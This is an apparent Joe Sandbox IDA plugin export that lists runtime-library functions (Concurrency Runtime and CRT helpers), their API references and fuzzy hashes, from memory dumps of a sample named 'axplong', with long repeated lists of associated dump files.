Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 13574bffd4a8d5b8559c7f7b9a35acdbfbb781244d24ab8d8e804e295d93d516
Instruction ID: f019b440641f167364ab097b584f746347f60d5fac57a0c994fec066e4d56d63
Opcode Fuzzy Hash: 13574bffd4a8d5b8559c7f7b9a35acdbfbb781244d24ab8d8e804e295d93d516
Instruction Fuzzy Hash: 721148B1641314A6DB24FBA4CC4AFFE736A6F05310F204029B515E61C2DB74DE44CB75

Function 006BA01E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 006BA032
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 006BA056
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006BA069

Strings

pScheduler, xrefs: 006BA061

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 116af869187695675eaf32b1af3cbb086bb2cc18f42913bd9ac104eb4f105d53
Instruction ID: e9e4a743cd806321267c6a445de440a316f86b6336f495578b70a98e1aeca0e2
Opcode Fuzzy Hash: 116af869187695675eaf32b1af3cbb086bb2cc18f42913bd9ac104eb4f105d53
Instruction Fuzzy Hash: 78F059B5600704A3C320F684D842CEEB37B9E91B18B20401DE40153282DF72AE86C796

Function 006C4F7E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 006C5045
___AdjustPointer.LIBCMT ref: 006C5068
___AdjustPointer.LIBCMT ref: 006C5104

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 5d11831d397be99382bbe0eefe96d4feada8433713405201f1b98ea63458b27d
Instruction ID: 2ec56fd7d106ac7326639f00bbaa126b55d6b99a897ee9d79728a3671595462b
Opcode Fuzzy Hash: 5d11831d397be99382bbe0eefe96d4feada8433713405201f1b98ea63458b27d
Instruction Fuzzy Hash: 8C51AF76601B06AFEB25DF14D891FBAB7A7EF50310F14412DE9068B691EB31BD81CB90

Function 006C4B45 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 006C4B96
TypeidsEqual.LIBVCRUNTIME ref: 006C4BBB
PMDtoOffset.LIBCMT ref: 006C4BD1
PMDtoOffset.LIBCMT ref: 006C4C52

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 2cda7f041b2115eaea1ecc005a941a979b849d256dce3409a16dc46e7f858565
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: E8516735A0520A9FCF10CF68C5A0AFEBBF6EF55354F14449EE850A7361DB32AE458B50

Function 006BDA60 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006BDA94

Part of subcall function 006B8E5F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 006B8E80

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 006BDAF3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 006BDB19
Concurrency::location::_Assign.LIBCMT ref: 006BDB86

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 84d469f0a31822a76c41ee7c71f8812485029de4a4bb12eca9f145fc6314c15a
Instruction ID: 99ccc4746623dfeb5851e699424895aeef0c9020a39fb8c69217afd4b37359fe
Opcode Fuzzy Hash: 84d469f0a31822a76c41ee7c71f8812485029de4a4bb12eca9f145fc6314c15a
Instruction Fuzzy Hash: 0E41D4F4600210ABCF19AB24C896BFDBBB7AF85710F15409DE4069F382DB74AD85CB95

Function 006B55DF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 006B5622
_InternalDeleteHelper.LIBCONCRT ref: 006B5656
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 006B56BB
SafeRWList.LIBCONCRT ref: 006B56CA

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
